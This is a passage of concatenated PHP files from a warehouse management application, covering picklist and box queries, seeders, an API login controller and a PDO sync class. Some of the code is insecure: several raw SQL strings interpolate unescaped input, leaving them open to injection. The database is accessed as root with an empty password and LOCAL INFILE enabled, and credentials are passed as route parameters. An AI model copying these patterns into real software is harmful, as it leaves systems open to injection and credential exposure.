->where('picklist.move_doc_number','=',$id)
->where('picklist.pl_status','=','18')
->first();
return $query;
}
/**************** For CMS only******************/
/******************Methods for CMS only*************************/
public static function getBoxDetails($box_code,$data = array(), $getCount = false)
{
$query = DB::table('box_details')
->select('picklist_details.sku', 'box_details.moved_qty', 'box_details.box_code', 'product_lists.short_description','stores.store_name','box.created_at')
->join('box', 'box_details.box_code', '=', 'box.box_code', 'LEFT')
->join('stores', 'stores.store_code', '=', 'box.store_code', 'LEFT')
->join('picklist_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id', 'LEFT')
->join('product_lists', 'picklist_details.sku', '=', 'product_lists.upc')
->where('box_details.box_code', '=', $box_code);
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('picklist_details.sku', 'LIKE', '%'.$data['filter_sku'].'%');
if( CommonHelper::hasValue($data['filter_store'])) $query->where('stores.store_name', 'LIKE', '%'.$data['filter_store'].'%');
if( CommonHelper::hasValue($data['filter_box_code']) ) $query->where('box.box_code', 'LIKE', '%'.$data['filter_box_code'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='box_code') $data['sort'] = 'box_details.box_code';
if ($data['sort']=='store') $data['sort'] = 'stores.store_name';
if ($data['sort']=='date_created') $data['sort'] = 'box.created_at';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
if($getCount) {
$result = count($result);
}
return $result;
}
public static function getboxnumber($movedoc,$data = array(), $getCount = false)
{
$query = DB::table('box')
->SELECT('box_details.box_code','box_details.moved_qty')
->join ('picklist' ,'box.move_doc_number','=','picklist.move_doc_number','LEFT')
->join ('box_details','box.box_code', '=','box_details.box_code','LEFT')
->where ('pl_status', '=','18')
->where('box.move_doc_number', $movedoc);
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
if($getCount) {
$result = count($result);
}
return $result;
}
public static function isBoxEmpty($boxCode)
{
$query = BoxDetails::where('box_code', '=', $boxCode)->get();
return ( ($query->isEmpty()) ? false : true );
}
public static function getBoxDetailCount($boxCode)
{
$boxDetailCount = BoxDetails::where('box_code', '=', $boxCode)
->count();
return $boxDetailCount;
}
public static function getTotalMovedQty($boxCode,$data = array())
{
$boxMovedQty = DB::table('box_details')
->select(DB::raw('SUM(wms_box_details.moved_qty) moved_qty'))
->join('picklist_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id', 'LEFT')
->where('box_code', '=', $boxCode);
if( CommonHelper::hasValue($data['filter_sku']) ) $boxMovedQty->where('picklist_details.sku', 'LIKE', '%'.$data['filter_sku'].'%');
$result = $boxMovedQty->get();
return $result[0]->moved_qty;
}
/*
SELECT box.box_code, box.in_use FROM `wms_box_details` box_details
LEFT JOIN wms_picklist_details picklist_details ON picklist_details.id = box_details.picklist_detail_id
LEFT JOIN wms_box box ON box.box_code = box_details.box_code
WHERE move_doc_number = 447 AND box.in_use = 0
GROUP BY box.box_code
*/
public static function checkBoxesPerDocNo($docNo)
{
$query = BoxDetails::where('move_doc_number', '=', $docNo)
->where('box.in_use', '=', 0)
->leftJoin('picklist_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id')
->leftJoin('box', 'box.box_code', '=', 'box_details.box_code')
->groupBy('box.box_code')
->get();
DebugHelper::log(__METHOD__, $query);
return $query;
}
/**
* Get the unique box_Code per picklist document number
*
* @param $docNo picklist document number
* @return array
*/
public static function getUniqueBoxPerDocNo($docNo)
{
/*SELECT DISTINCT pl.move_doc_number, b.store_code, MIN(bd.box_code) box_code
FROM wms_box_details bd
INNER JOIN wms_box b ON b.box_code = bd.box_code
INNER JOIN wms_picklist_details pd ON bd.picklist_detail_id = pd.id
INNER JOIN wms_picklist pl ON pl.move_doc_number = pd.move_doc_number
WHERE bd.sync_status = 0 AND pl_status = 2
GROUP BY pl.move_doc_number
ORDER BY pl.move_doc_number, sequence_no ASC*/
$arrParams = array('data_code' => 'PICKLIST_STATUS_TYPE', 'data_value'=> 'done');
$status = Dataset::getType($arrParams)->toArray();
$query = BoxDetails::select(DB::raw('DISTINCT wms_picklist.move_doc_number, wms_box.store_code, MIN(wms_box_details.box_code) box_code'))
->join('box', 'box.box_code', '=', 'box_details.box_code')
->join('picklist_details', 'box_details.picklist_detail_id', '=', 'picklist_details.id')
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->where('pl_status', '=', $status['id'])
->where('picklist.move_doc_number', '=', $docNo)
->groupBy('picklist.move_doc_number')
->orderBy('picklist.move_doc_number', 'sequence_no')
->first()->toArray();
// DebugHelper::log(__METHOD__, $query);
return $query;
}
public static function getAllBoxes()
{
$query = BoxDetails::select('box.box_code', 'store_name', 'picklist_details.created_at as order_date')
->where('box.in_use', '=', 0)
->leftJoin('picklist_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id')
// ->leftJoin('store_order', 'picklist_details.so_no', '=', 'store_order.so_no')
->leftJoin('box', 'box.box_code', '=', 'box_details.box_code')
->join('stores', 'stores.store_code', '=', 'box.store_code', 'LEFT')
->groupBy('box.box_code')
->get();
DebugHelper::log(__METHOD__, $query);
return $query;
}
}<file_sep><?php
class VendorSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
DB::table('vendors')->truncate();
Vendors::create(array(
"vendor_name"=>"DC ALL PRODUCT",
"vendor_code"=>20100
));
Vendors::create(array(
"vendor_name"=>"PHILIPPINE FAMILYMART PRODUCT",
"vendor_code"=>20999
));
}
}<file_sep><?php
class StoreOrderDetailSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
DB::table('store_order_detail')->truncate();
StoreOrderDetail::create(array(
"so_no" => "1",
"sku" => "NGM0024",
"allocated_qty" => "100",
"ordered_qty" => "100"
));
StoreOrderDetail::create(array(
"so_no" => "1",
"sku" => "NGM0023",
"allocated_qty" => "100",
"ordered_qty" => "100"
));
StoreOrderDetail::create(array(
"so_no" => "1",
"sku" => "NGM0022",
"allocated_qty" => "90",
"ordered_qty" => "90"
));
StoreOrderDetail::create(array(
"so_no" => "2",
"sku" => "NGM0022",
"allocated_qty" => "100",
"ordered_qty" => "100"
));
StoreOrderDetail::create(array(
"so_no" => "2",
"sku" => "NGM0023",
"ordered_qty" => "90",
"allocated_qty" => "90"
));
StoreOrderDetail::create(array(
"so_no" => "3",
"sku" => "NGM0022",
"ordered_qty" => "20",
"allocated_qty" => "20"
));
StoreOrderDetail::create(array(
"so_no" => "3",
"sku" => "NGM0023",
"ordered_qty" => "20",
"allocated_qty" => "20"
));
StoreOrderDetail::create(array(
"so_no" => "4",
"sku" => "NGM0022",
"ordered_qty" => "20",
"allocated_qty" => "20"
));
StoreOrderDetail::create(array(
"so_no" => "4",
"sku" => "NGM0023",
"ordered_qty" => "20",
"allocated_qty" => "20"
));
StoreOrderDetail::create(array(
"so_no" => "5",
"sku" => "NGM0023",
"ordered_qty" => "100",
"allocated_qty" => "100"
));
StoreOrderDetail::create(array(
"so_no" => "6",
"sku" => "NGM0022",
"ordered_qty" => "200",
"allocated_qty" => "200"
));
StoreOrderDetail::create(array(
"so_no" => "7",
"sku" => "NGM0022",
"ordered_qty" => "100",
"allocated_qty" => "100"
));
}
}<file_sep><?php
return array(
'heading_title' => 'Store Master List',
'label_filter_store_name' => 'Store Name:',
'label_filter_store_code' => 'Store Code:',
'col_id' => 'No.',
'col_store_name' => 'Store Name',
'col_store_code' => 'Store Code',
'col_store_address' => 'Store Address',
);<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use App\ModelApiName;
use Response;
class ControllerApiUser extends Controller
{
public function validateUser($username,$password)
{
if(Auth::attempt(array('username' => $username, 'password' => $<PASSWORD>, 'role_id' => '3')))
{
try
{
$user = ModelApiName::GetApiUser(Auth::user()->id,$password);
return Response::json(array('result' => $user),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
else
{
return Response::json(array('result' => []),200);
}
}
public function getVerifyValidateUser($username,$password)
{
if(Auth::attempt(array('username' => $username, 'password' => $<PASSWORD>, 'role_id' => '2')))
{
try
{
$user = ModelApiName::GetApiUser(Auth::user()->id,$password);
return Response::json(array('result' => $user),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
else
{
return Response::json(array('result' => []),200);
}
}
}
<file_sep><?php
public static function getPoListsdivision($data = array(), $getCount = FALSE) {
$query = Division::getPOQuerydivision($data);
// echo "<pre>"; print_r($data); die();
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get(array(
'purchase_order_lists.*',
'vendors.vendor_name',
'purchase_order_details.*',
'dataset.data_display'
// 'users.firstname',
// 'users.lastname'
)
);
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $po) {
$assignedToUserId = explode(',', $po->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getPOQuerydivision($data = array())
{
$query = DB::table('purchase_order_lists')
->select('*',DB::raw('sum(quantity_ordered) as quantity_ordered1'),DB::raw('sum(quantity_delivered) as quantity_delivered1'))
// ->join('users', 'purchase_order_lists.assigned_to_user_id', 'IN', 'users.id', 'LEFT')
->join('purchase_order_details', 'purchase_order_lists.receiver_no', '=', 'purchase_order_details.receiver_no', 'LEFT')
->join('product_lists', 'purchase_order_details.sku', '=', 'product_lists.upc', 'LEFT')
->join('dataset', 'purchase_order_details.po_status', '=', 'dataset.id', 'LEFT')
->join('vendors', 'purchase_order_lists.vendor_id', '=', 'vendors.id', 'LEFT')
->where('purchase_order_details.receiver_no','=', $data['receiver_no'])
->where('purchase_order_details.division','=',$data['division'])
->groupBy('purchase_order_details.division');
if( CommonHelper::hasValue($data['filter_po_no']) ) $query->where('purchase_order_no', 'LIKE', '%'.$data['filter_po_no'].'%');
if( CommonHelper::hasValue($data['filter_receiver_no']) ) $query->where('purchase_order_lists.receiver_no', '=', $data['filter_receiver_no']);
if( CommonHelper::hasValue($data['filter_entry_date']) ) $query->where('purchase_order_lists.created_at', 'LIKE', '%'.$data['filter_entry_date'].'%');
if( CommonHelper::hasValue($data['filter_status']) && $data['filter_status'] !== 'default' ) $query->where('purchase_order_lists.po_status', '=', $data['filter_status']);
if( CommonHelper::hasValue($data['filter_back_order']) ) $query->where('back_order', '=', $data['filter_back_order']);
if( CommonHelper::hasValue($data['filter_brand']) ) $query->where('dept_code', '=', $data['filter_brand']);
if( CommonHelper::hasValue($data['filter_division']) ) $query->where('division', '=', $data['filter_division']);
if( CommonHelper::hasValue($data['filter_shipment_reference_no']) ) $query->where('shipment_reference_no', '=', $data['filter_shipment_reference_no']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='po_no') $data['sort'] = 'division';
if ($data['sort']=='receiver_no') $data['sort'] = 'purchase_order_lists.receiver_no';
if ($data['sort']=='entry_date') $data['sort'] = 'purchase_order_lists.created_at';
$query->orderBy($data['sort'], $data['order']);
}
//if( !empty($data['filter_back_order_only']) ) $query->where('back_order', '<>', 0);
DebugHelper::log(__METHOD__, $query);
return $query;
}
public static function getPoListsdiv($data = array(), $getCount = FALSE) {
$query = Division::getPOQuerydivision($data);
// echo "<pre>"; print_r($data); die();
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get(array(
'purchase_order_lists.*',
'vendors.vendor_name',
'purchase_order_details.Division_Name',
'dataset.data_display'
// 'users.firstname',
// 'users.lastname'
)
);
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $po) {
$assignedToUserId = explode(',', $po->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getPOInfodiv($receiver_no) {
$query = DB::table('purchase_order_lists')
// ->join('users', 'purchase_order_lists.assigned_to_user_id', '=', 'users.id', 'LEFT')
->join('dataset', 'purchase_order_lists.po_status', '=', 'dataset.id', 'LEFT')
->join('vendors', 'purchase_order_lists.vendor_id', '=', 'vendors.id', 'LEFT')
->where('purchase_order_lists.receiver_no', '=', $receiver_no);
$result = $query->get(array(
'purchase_order_lists.*',
'vendors.vendor_name',
'dataset.data_display'
// 'users.firstname',
// 'users.lastname'
)
);
// get the multiple stock piler fullname
foreach ($result as $key => $po) {
$assignedToUserId = explode(',', $po->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
return $result[0];
}
}<file_sep><?php
class pdoConnection
{
public static $pdo;
public static $dbName;// = 'ssi'; //database name
public static $user;// = 'root'; //Username for the database
public static $pass;// = '<PASSWORD>'; //Password
public static $host;// = 'localhost'; //hostname
public function __construct(){
//$creds = mysql_credentials();
self::$dbName = 'deve';
self::$user = 'root';
self::$pass = '';
self::$host = 'localhost';
/* self::$dbName = $creds['db_name'];
self::$user = $creds['user'];
self::$pass = $creds['password'];
self::$host = $creds['hostname'];
*/
self::connectDatabase();
}
/**
* PDO Mysql Connection
*/
public static function connectDatabase() {
echo "sql/mysql: mysql:host=".self::$host.";dbname=".self::$dbName."\n";
try {
$pdo = new PDO("mysql:host=".self::$host.";dbname=".self::$dbName."; --local-infile",
self::$user, self::$pass,
array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
)
);
self::$pdo = $pdo;
} catch (PDOException $e) {
echo "sql/mysql: mysql:host=".self::$host.";dbname=".self::$dbName."\n";
die("database connection failed: ".$e->getMessage());
}
}
public function query($sql) {
echo "\n $sql \n";
return self::$pdo->query($sql);
}
public function exec($sql)
{
echo "\n $sql \n";
return self::$pdo->exec($sql);
}
public function getJdaTransaction($data = array())
{
$module = $data['module'];
$jdaAction = $data['jda_action'];
echo "\n Getting reference # from db \n";
$sql = "SELECT reference FROM wms_transactions_to_jda
WHERE module = '{$module}' AND jda_action='{$jdaAction}'";
if(!empty($data['reference'])) $sql .= " AND reference = '{$data['reference']}'";
if(!empty($data['checkSuccess']))
$sql .=" AND sync_status <> 1";
else
$sql .=" AND sync_status = 0";
/*if(!empty($data['reference']))
{
// print_r($data['reference']);
$reference = json_decode($data['reference']);
$decodedReference = "'" . implode("','", $reference) . "'";
$sql .= " AND reference IN ({$decodedReference})";
}*/
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['reference'];
}
return $result;
}
/**
* Get picklist doc nos
*
* @param $data array() array values are module, jda_action & reference
* @return array of reference
*/
public function getJdaTransactionPicklist($data = array())
{
$module = $data['module'];
$jdaAction = $data['jda_action'];
echo "\n Getting reference # from database \n";
if(!empty($data['reference']))
{
/*$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
INNER JOIN wms_picklist_details pick_d ON pick_d.move_doc_number = trans.reference
INNER JOIN wms_box_details bd ON bd.picklist_detail_id = pick_d.id
INNER JOIN wms_pallet_details pd ON bd.box_code = pd.box_code
INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code AND ld.load_code = '{$data['reference']}'
WHERE module = '{$module}' AND jda_action = '{$jdaAction}' AND trans.sync_status = 0";*/
$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
left JOIN wms_picklist_details pick_d ON pick_d.move_doc_number = trans.reference
WHERE module = '{$module}' AND jda_action = '{$jdaAction}' AND reference = {$data['reference']} AND trans.sync_status = 0";
// INNER JOIN wms_pallet_details pd ON bd.box_code = pd.box_code
// INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code
}
else {
$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
INNER JOIN wms_picklist_details pick_d ON pick_d.move_doc_number = trans.reference
WHERE module = '{$module}' AND jda_action = '{$jdaAction}' AND trans.sync_status = 0";
// INNER JOIN wms_pallet_details pd ON bd.box_code = pd.box_code
// INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code
}
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['reference'];
}
return $result;
}
/**
* Get picklist of load
*
* @param $data array() array values are module, jda_action & reference
* @return array of reference
*/
public function getPicklistsOfLoad($loadCode)
{
$sql = "SELECT group_concat(DISTINCT move_doc_number SEPARATOR ',') move_doc_number FROM wms_load_details load_d
RIGHT JOIN wms_pallet_details pallet_d ON pallet_d.pallet_code = load_d.pallet_code
LEFT JOIN wms_box_details box_d ON box_d.box_code=pallet_d.box_code
LEFT JOIN wms_picklist_details picklist_d ON picklist_d.id=box_d.picklist_detail_id
WHERE load_code='{$loadCode}'";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['move_doc_number'];
}
return $result[0];
}
/**
* Get boxes
*
* @param $data array() array values are module, jda_action & reference
* @return array of reference
*/
public function getJdaTransactionUnsuccessfulPicklist($getPicklists)
{
echo "\n Getting reference # from db \n";
$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
WHERE module = 'Picklist' AND jda_action = 'Closing' AND reference in ({$getPicklists})
AND trans.sync_status <> 1";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['reference'];
}
return $result;
}
/**
* Get boxes
*
* @param $data array() array values are module, jda_action & reference
* @return array of reference
*/
public function getJdaTransactionBoxHeader($data = array())
{
$module = $data['module'];
$jdaAction = $data['jda_action'];
echo "\n Getting reference # from db \n";
if(!empty($data['reference']))
{
$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
INNER JOIN wms_pallet_details pd ON trans.reference = pd.box_code
INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code AND ld.load_code = '{$data['reference']}'
WHERE module = '{$module}' AND jda_action = '{$jdaAction}'";
}
else {
$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
INNER JOIN wms_pallet_details pd ON trans.reference = pd.box_code
INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code
WHERE module = '{$module}' AND jda_action = '{$jdaAction}'";
}
if(!empty($data['checkSuccess']))
$sql .=" AND trans.sync_status <> 1";
else
$sql .=" AND trans.sync_status = 0";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = self::getPicklistStatusInLoad($value['reference']);
}
return $result;
}
public function getPicklistStatusInLoad($box_code){
$sql = "SELECT wms_box_details.box_code FROM `wms_box_details` LEFT JOIN `wms_pallet_details` ON
`wms_box_details`.`box_code` = `wms_pallet_details`.`box_code` LEFT join `wms_picklist_details` ON
`wms_picklist_details`.`id` = `wms_box_details`.`picklist_detail_id` LEFT JOIN `wms_picklist` ON
`wms_picklist`.`move_doc_number` = `wms_picklist_details`.`move_doc_number`
WHERE wms_picklist.pl_status=18 AND wms_box_details.box_code='{$box_code}'";
$query = self::query($sql);
foreach ($query as $value ) {
$result = $value['box_code'];
}
return $result;
}
/**
* Get pallets
*
* @param $data array() array values are module, jda_action & reference
* @return array of reference
*/
public function getJdaTransactionPallet($data = array())
{
$module = $data['module'];
$jdaAction = $data['jda_action'];
echo "\n Getting reference # from db \n";
if(!empty($data['reference']))
{
$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
INNER JOIN wms_pallet_details pd ON trans.reference = pd.pallet_code
INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code AND ld.load_code = '{$data['reference']}'
WHERE module = '{$module}' AND jda_action = '{$jdaAction}'";
}
else {
$sql = "SELECT DISTINCT reference FROM wms_transactions_to_jda trans
INNER JOIN wms_pallet_details pd ON trans.reference = pd.pallet_code
INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code
WHERE module = '{$module}' AND jda_action = '{$jdaAction}'";
}
if(!empty($data['checkSuccess']))
$sql .=" AND trans.sync_status <> 1";
else
$sql .=" AND trans.sync_status = 0";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['reference'];
}
return $result;
}
public function getReceiverNo($Rcrno) {
$Rcrno = join(',', $Rcrno);
echo "\n Getting receiver no from db \n";
$sql = "SELECT receiver_no, purchase_order_no, invoice_no FROM wms_purchase_order_lists
WHERE receiver_no IN ({$Rcrno})
ORDER BY purchase_order_no ASC";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = array(
'receiver_no' => $value['receiver_no'],
'purchase_order_no' => $value['purchase_order_no'],
'invoice_no' => $value['invoice_no']);
}
return $result;
}
public function getTransferNo($soNo, $getNotInTransfer = FALSE) {
echo "\n Getting transfer no from db \n";
$sql = "SELECT wms_store_return.so_no,slot_code,wms_store_return_detail.delivered_qty,wms_store_return_detail.received_qty,wms_product_lists.sku FROM wms_store_return
INNER JOIN wms_store_return_detail ON wms_store_return.so_no = wms_store_return_detail.so_no
INNER JOIN wms_product_lists ON wms_store_return_detail.sku = wms_product_lists.upc
WHERE wms_store_return.so_no = {$soNo}";
if ($getNotInTransfer) $sql .= " AND delivered_qty = 0";
// else $sql .= " AND delivered_qty <> 0";
$sql .= " ORDER BY convert(wms_product_lists.sku, decimal) ASC";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = array(
'transfer_no' => $value['so_no'],
'delivered_qty' => $value['delivered_qty'],
'received_qty' => $value['received_qty'],
'slot_code' => $value['slot_code'],
'sku' => $value['sku']);
}
return $result;
}
public function getMoveDetails($mmId) {
echo "\n Getting manual move details from db \n";
$sql = "SELECT pl.sku, wms_manual_move.* FROM wms_manual_move
INNER JOIN wms_product_lists pl ON pl.upc = wms_manual_move.upc
WHERE sync_status=0";
if($mmId!=null)
$sql .= " and wms_manual_move.id = {$mmId}";
$sql .= " ORDER BY convert(pl.sku, decimal) ASC";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = array(
'id' => $value['id'],
'sku' => $value['sku'],
'quantity' => $value['quantity'],
'from_slot' => $value['from_slot'],
'to_slot' => $value['to_slot']);
}
return $result;
}
public function getPutawaySkus()
{
echo "\n Getting data from slot_details \n";
$sql = "SELECT slot_id, wms_product_lists.sku AS sku, quantity FROM wms_slot_details
INNER JOIN wms_product_lists ON wms_slot_details.sku = wms_product_lists.upc
WHERE sync_status = 0";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
return $result;
}
public function getPicklistInfo($docNo)
{
$docNo = join(',', $docNo);
echo "\n Getting move doc number from db \n";
$sql = "SELECT DISTINCT wms_picklist.move_doc_number
FROM wms_picklist
WHERE pl_status = 18 AND wms_picklist.move_doc_number IN ({$docNo})";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
return $result;
}
public function getPalletsInfo($palletCode)
{
// $palletCodex = (string) join(',', $palletCode);
$pallet = "'" . implode("','", $palletCode) . "'";
// print_r($pallet);die();
echo "\n Getting box codes from db \n";
$sql = "SELECT p.pallet_code, p.store_code FROM wms_pallet p
WHERE p.pallet_code IN ({$pallet})
GROUP BY p.pallet_code, p.store_code
ORDER BY p.pallet_code ASC";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
return $result;
}
/*
* Get boxes
*/
public function getSOBoxes()
{
$soStatus = 3;
echo "\n Getting load_code from db \n";
$sql = "SELECT DISTINCT b.box_code, b.store_code
FROM wms_store_order so
INNER JOIN wms_load_details ld ON ld.load_code = so.load_code
INNER JOIN wms_pallet_details pd ON ld.pallet_code = pd.pallet_code
INNER JOIN wms_box b ON b.box_code = pd.box_code AND so.store_code = b.store_code
WHERE so_status = $soStatus AND so.sync_status = 0
GROUP BY b.box_code, so.load_code";
$query = self::query($sql);
$result = array();
foreach ($query as $value ) {
// $result[] = $value['box_code'];
$result[] = $value;
}
return $result;
}
/**
* Execute command in the background without PHP waiting for it to finish for Unix
*
* @example instance->execInBackground();
*
* @param $cmd string command to execute
* @return
*/
private static function execInBackground($cmd,$source)
{
$cmd = 'php -q' . __DIR__.'/../../jda/' . $cmd;
$pidfile = __DIR__.'/../../jda/logs/pidfile.log';
$filename=$source . "_" . date('m_d_y');
$outputfile = __DIR__.'/../../jda/logs/'.$filename.'.log';
$s =sprintf("%s >> %s 2>&1 & echo $! >> %s", $cmd, $outputfile, $pidfile);
echo $cmd;
// exec($cmd . " </dev/null 2> /dev/null & echo $!");
// exec($cmd . " > /dev/null &");
}
// TODO: validation
public function daemon($filename, $data = NULL)
{
self::execInBackground("classes/{$filename}.php {$data}",$filename);
}
public function close() {
echo "Closing pdo connection... \n";
self::$pdo = NULL;
}
}
/*$pdo = new pdoConnection();
$pdo->close();*/
<file_sep><?php
class Letdown extends Eloquent {
protected $table = 'letdown';
/***************************Methods for API only*********************************/
public static function getList()
{
return Letdown::select('move_doc_number')
->where('lt_status', '=', 0)->get();
}
/***************************Methods for CMS only*********************************/
public static function getLetDownList($data = array(), $getCount = false)
{
$query = DB::table('letdown');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('letdown.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'doc_no'){
$data['sort'] = 'letdown.move_doc_number';
}
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('letdown.move_doc_number');
$result = $query->get();
if($getCount) {
$result = count($result);
}
return $result;
}
public static function getLetDownInfo($letdown_id = NULL){
$query = DB::table('letdown')
->join('letdown_details', 'letdown_details.move_doc_number', '=', 'letdown.move_doc_number','LEFT')
->where('letdown.id', '=', $letdown_id);
$result = $query->get();
return $result[0];
}
/**
* Unassign letdown
*
* @param docNo string document number
* @return Status
*/
public static function unassignLetdown($docNo)
{
Letdown::where('move_doc_number', '=', $docNo)
->update(array(
'assigned_user_id' => 0,
'updated_at' => date('Y-m-d H:i:s')
));
return;
}
/**
* Updates lt_status status in letdown main, not in letdown details table
*
*/
public static function updateMoveToPickingHeaderStatus($docNo, $status)
{
Letdown::where('move_doc_number', '=', $docNo)
->update(array(
'updated_at' => date('Y-m-d H:i:s'),
'lt_status' => $status)
);
}
}
/*
*/
<file_sep><?php
class PurchaseOrderSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
DB::table('purchase_order_lists')->truncate();
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20204,
"purchase_order_no"=>10459,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20205,
"purchase_order_no"=>10460,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20206,
"purchase_order_no"=>10461,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20209,
"purchase_order_no"=>10462,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20208,
"purchase_order_no"=>10463,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20207,
"purchase_order_no"=>10464,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20208,
"purchase_order_no"=>10465,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20209,
"purchase_order_no"=>10466,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20210,
"purchase_order_no"=>10467,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20211,
"purchase_order_no"=>10468,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
